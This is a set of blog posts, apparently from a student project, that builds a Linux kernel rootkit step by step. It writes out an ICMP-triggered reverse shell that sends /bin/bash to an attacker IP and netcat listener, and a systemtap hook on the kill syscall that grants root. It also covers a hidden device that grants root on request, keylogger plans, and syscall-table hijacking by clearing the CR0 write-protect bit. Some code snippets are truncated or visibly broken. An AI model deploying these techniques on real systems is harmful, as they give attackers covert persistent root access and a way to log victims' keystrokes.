Tag Archives: rootkit

Gaining Remote Access

In order to make our rootkit more useful and more malicious, I have looked into ways of gaining remote access. This allows our attacker to maintain hidden persistent access to the victim machine. Maintaining access to a compromised machine can be tricky as there are lots of ways of doing so but most can be very easily spotted. The two methods I investigated involved using a simple bind shell and then a more neat reverse shell. For this simple demonstration I installed and use various Nmap 6 tools.

Bind shell
My implementation of this, simply bound a /bin/bash shell to a port. This isn’t a very hidden way of doing things and our victim admin could easily view this process running using netstat. I will look into hiding processes and open ports at a later point.

Reverse shell
For my reverse shell, I monitor all icmp packets for a certain password or key. If this key is found, I send a /bin/bash shell to an attacker defined IP and port. This means our sniffer runs in the background and we can hide the process by renaming it. I will also investigate a means of hiding this process completely.

Gaining access to the user space from kernel

The hardest part of implementing this remote shell functionality, was finding a reliable way of running our user space shell from within the kernel. I came across many implementations and ideas in my search. Some involved copying attacker shellcode into memory and then setting it as executable, others were more messy and less reliable. I came across the following API that makes this task very simple, the usermode-helper API. This allows us to easily invoke a user space application from the kernel space.

At the bottom I will provide a simple kernel module that allows me to demonstrate this functionality. I will then integrate this into the next iteration of the rootkit.

Diving in

Firstly I needed to implement my reverse shell. This involved investigating the internet control message protocol (icmp). This protocol is generally used to relay messages about network devices and can be used to diagnose network issues or for other control purposes.

On our victim machine I ran the following

tcpdump ip proto \\icmp -X -v

This will display lots of information about any icmp request received or sent by a machine. On our attacker machine I then simply ran

ping victim.r00tkit.me

This pings the victim machine and we can see the raw packet data as it arrives in our tcp dump.


Next using a tool called nping I crafted a simple demonstration “Hello World” icmp request. We can then see this message in the data section of our tcpdump. The following request sends a single crafted ping to the defined destination ip address.

nping --icmp -c 1 -dest-ip [victim ip] --data-string 'Hello world'


Using this knowledge I wrote some simple C to listen for icmp requests and read this data section. As we don’t want every icmp request opening or sending a shell, I check the first token in the data string for a password or key. Then when this matches I check for a provided attacker ip and port. I then send a reverse shell to this attacker address on the port provided.

Our attacker in one window opens a listening port using the following netcat command

nc -l 31173

This listener is where we will send the reverse shell from the victim machine. The attacker machine is now listening on port 31173.
Assuming the kernel module is installed on the victim machine and we are using a password of maK_it_$H3LL, we then run the following nping command.

nping --icmp -c 1 -dest-ip [victim ip] --data-string 'maK_it_$H3LL [attacker ip] 31173'

Then in our window with netcat running, we should see the following

root@server1:~# nc -l 31173
/bin/bash shell..

You can find all of this code available at the following link : reverse-shell-access-kernel-module

Ninja access to root privileges from userspace

In this section I will be investigating a few different rootkit methods of escalating privileges from a regular user to a root user. I will then implement one of these methods in my kernel module.

The first method I would like to look at is triggering our root privileges by hijacking the kill system call. This involves replacing sys_kill with our own kill functionality. The idea here is to escalate the calling process to root when our regular user tries to kill a certain *secret* or *magic* process id. So lets have a look at the kill system call.

Kill ’em all!

By running the following:

stap -L syscall.kill

We can see the various variables our kill syscall has to deal with.

syscall.kill name:string pid:long sig:long argstr:string $pid:pid_t $sig:int $info:struct siginfo

As a test I ran the following systemtap script

//Run this using stap sys_kill.stp
#/usr/bin/env stap
probe syscall.kill{ 

I opened a new window and then ran kill 9001. I was greeted with the following output in the other window running our script:


Running kill -l we can read a list of the different signal numbers. We can easily see that signal 15 is SIGTERM. Using kill -s [SIGNAL NAME] 9001 we can then confirm that the other signals match up with our output. We can also see a value of 15 for the SIGTERM when we press ctrl+c to kill the stap script. This could also be confirmed using strace with the following command and output:

[root@localhost ~]# strace -e trace=kill kill 9001
kill(9001, SIGTERM)                     = -1 ESRCH (No such process)
kill 9001: No such process

Here we can see the return value and the message output to the terminal if the process/pid 9001 doesn’t exist. The next step is looking at ways to change the process credentials from our current user to root.

Escalating privileges

In order to raise the current users privileges to root we will need to look at /kernel/cred.c this file is included as part of linux/sched.h. We will need to include this in our module or stap script to use it.

The 2 functions we’ll be looking at are prepare_creds and commit_creds. We can read what they do from the kernel source…

Prepare a new set of task credentials for modification. A task's creds shouldn't generally be modified directly, therefore this function is used to prepare a new copy, which the caller then modifies and then commits by calling commit_creds().
Install a new set of credentials to the current task, using RCU to replace the old set.  Both the objective and the subjective credentials pointers are updated. This function may not be called if the subjective credentials are in an overridden state.

What I have done is created a function to carry out this task. I will then use various methods of triggering this function. After it runs the calling user should have changed credentials, giving the process and our user root privileges. We can demonstrate this with the following systemtap script: r00t.stp

#!/usr/bin/env stap
#include <linux/sched.h>

function root_me:long() %{
        struct cred *haxcredentials;
        haxcredentials = prepare_creds();
        if (haxcredentials == NULL)
        haxcredentials->uid = haxcredentials->gid = 0;
        haxcredentials->euid = haxcredentials->egid = 0;
        haxcredentials->suid = haxcredentials->sgid = 0;
        haxcredentials->fsuid = haxcredentials->fsgid = 0;

probe syscall.kill{
    if(sig == 14 && pid == 9001){

This is a good demonstration without the need to fully implement the same in a kernel module. As a regular user, running kill -s SIGALRM 9001 we can gain root privileges. Here is an example:
In one window we run the following

[root@localhost ~]# stap -g r00t.stp

In our second user window we run

[mak@localhost ~]$ id
uid=500(mak) gid=500(mak) groups=500(mak)
[mak@localhost ~]$ kill -s SIGALRM 9001
bash: kill: (9001) - No such process
[mak@localhost ~]$ id
uid=0(root) gid=0(root) groups=0(root),500(mak)

Using this same root_me function it is possible to escalate privileges under a large number of different circumstances. We could easily hijack any other system call and do the same thing using alternative conditions.

In the keylogger I recently wrote. I’ve implemented my own character device. Using this same method for passing commands via the device, I have included the option to give a regular user root privileges when they run the following:

echo rootme > /dev/.maK_it

This functionality will be part of the next code release I do. Next I plan on looking at hiding processes, files and maybe users.

Interrupt Requests, Handlers and Keyboards

Low Level:

Interrupts are the means by which hardware devices signal the processor. In the case of a keyboard, this would involve the keyboard controller signalling the processor to let it know there is a new available key press. The processor then notifies the linux kernel. This is called an IRQ or Interrupt request.

It is up to the kernel to run a request handler that associates with each specific interrupt. This handler functionality is part of the device driver for the specified device. The handler functions must run with great efficiency. These quickly move large amounts of data and return to an accepting state. Passing the work into queues and manipulating memory.

Each device driver must register a request handler using the request_irq() function. This registers a given interrupt handler for a given interrupt line. If we run the following

cat /proc/bus/input/devices

This will show our hardware input devices, we can then correlate that what the data returned from running

cat /proc/interrupts

This will show what handlers are currently registered.
Handlers can be unregistered and subsequent lines freed with the free_irq() function.

High Level:

This is where the larger, less time sensitive chunk of our interrupt handling occurs. This manages work that was deferred in queues from the lower level of our interrupt handling process. The 2.6 kernel takes advantage of 3 higher level mechanisms, softirqs, tasklets and work queues.

Softirqs are used for things such as networking and block devices, they are statically added to the kernel at compile time. Tasklets run on top of these softirqs, they are much more dynamic and work fine for the vast majority of cases. Tasklets are managed by a scheduling mechanism. Work queues are an interface for creating kernel threads to handle work queued from elsewhere.

images (1)

How a keyboard works?

This process will be investigated further in the next blog post using systemtap.

  1. Keyboard sends a scancode to our device driver.
  2. Scancode handler in driver converts this into a series of key presses and release events using a translation table.
  3. These key codes and potential modifiers are matched to symbols.
  4. The character symbols are put in a tty queue.
  5. receive_buf() function is called periodically putting the characters into a read queue.
  6. sys_read() is called on stdin of process and returns to process.


 Different rootkit key-logging options?

The first option that comes to mind is to build an interrupt handler but as this occurs at a much lower level, it means complete platform dependency. This means it would require a lot more work to implement and even if we did, it’s not guaranteed at all to work on any other devices.

We could also hijack any of the functions above involved in the operation of a keyboard and replace their functionality with some form of logging mechanism.

Our final option is that we could hijack the sys_read() system call and use this to log the keys.

I will look into both function hijacking and system call hijacking  in my next post as a method of implementing our key-logger.

Hijacking System calls with Loadable kernel modules.

In this post I will be outlining the various steps involved in hijacking a system call. This is fundamental to the underlying operation of a rootkit.  I will do this using a loadable kernel module (LKM).  Before diving straight into our hijack function,  it’s import to understand how kernel modules work and how they are loaded into your Linux operating system environment.

The code for this demonstrative post is located here https://github.com/maK-/Syscall-table-hijack-LKM


Understanding loadable kernel modules.

LKMs extend the functionality of the base-kernel of the Linux operating system.  They are simply loaded in using insmod which loads a kernel object (.ko) into the kernel. They can be removed using rmmod. Using a process called kbuild we can build our kernel object file. This is similar to a regular elf object file (.o) that is normally generated when compiling user-land conventional C code. The additional k lets us know that this code was compiled with additional required kernel specific sections (such as .modinfo).

Once our Kernel module is loaded in, you can see it listed in /proc/modules. Sometimes it is important to test your module before inserting it into a live system. This can be achieved using modprobe. It can very simply test load a kernel object.  It is more safe to install our modules using modprobe. You can view a list of installed modules using lsmod. You can also view info on any of these modules by running modinfo.


Building our System call hijack module.

In order to compile and create our module, we must use a Makefile. Here you will see the Makefile that corresponds with our system call hijacking module below.

#If KERNELRELEASE is defined, we've been invoked #from the kernel build system and can use its #language.

obj-m := maK_it.o

# Otherwise we were called directly from the command
# line; invoke the kernel build system.
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

sh scripts/lets_maK_it.sh
make -C $(KERNELDIR) M=$(PWD) modules

You will notice above that this should build our module with our current kernel (uname  -r). The script “lets_mak_it.sh” takes a template.c file and generates the file to be used in building. This file will then contain the needed addresses for our module to work.

 #used to insert the memory addresses of:
KERN=$(uname -r)

echo "Finding Kernel System Call Table Address..."
echo $BREAK
GET_SC_TABLE=$(grep sys_call_table /boot/System.map-$KERN | (awk '{print $1}'))

#Templates to be replaced

echo $BREAK
echo "Building '$OUT' File..."
sed -e "s/$SCT/$SYSCALL_TABLE/g;" < $IN > $OUT
echo "Done."

Running the following line from above

grep sys_call_table /boot/System.map-`uname -r`

We can see that the location of our system call table is printed out. This is inserted into the SYSCALL_TABLE_TEMPLATE location in template file and mak_it.c is created. This is the final code that is then built into our kernel object. It is very important that we acquire the address of our system call table into our module. Notice the output above has an R. This symbolizes that the System call table is read-only.

What is happening inside the kernel?

In my 3rd functional specification post I described the following scenario. Our loadable kernel module is loaded into the kernel space. This module must replace the address of the write system call with the address of it’s own evil write system call in the system call table.



In order to achieve this, we need to ensure the system call table is writable so we can overwrite the address of our function. By default in many 2.6* Linux kernels the System call table is set to read-only mode. We confirmed this above.  Through investigation I discovered we also can’t change the system call table page to write mode because it is write-protected. We can confirm this by running the following.

cat /proc/cpuinfo | grep wp

WP is write-protected mode. In order to overwrite our System call table addresses we need this set to off. WP is part of control register. This is a processor register which changes or controls the general behavior of a CPU. Common tasks performed by control registers include interrupt control, switching the addressing mode, paging control, and coprocessor control. We need to directly deal with CR0 register.

Looking up WP in the CR0 we can see the following information.

16 WP Write protect Determines whether the CPU can write to pages marked read-only.

If we flip this 16th bit to 0, we should have full write access to all of the pages. This means our System-call table address space can be overwritten. Giving us full access to all of the system calls, allowing us overwrite their locations in the table with our own evil addresses.

Flipping the 16bit can be achieved with the following

write_cr0 (read_cr0 () & (~ 0x10000));

Then flipped back with

write_cr0 (read_cr0 () | 0x10000);

We must then do this before and after we want to edit our system call table addresses. Hopefully this is made very clear in the following code.  https://github.com/maK-/Syscall-table-hijack-LKM/blob/master/template.c

Note that the address of our system call table needs to be replaced by the .sh script above. This kernel module doesn’t do anything at the moment. It simply demonstrates the replacement of the write system call. You can confirm this by placing a kernel warning message in the evil write system call function. Then you can run the following to read the evil messages as the write system call is called.

tail -f /var/log/messages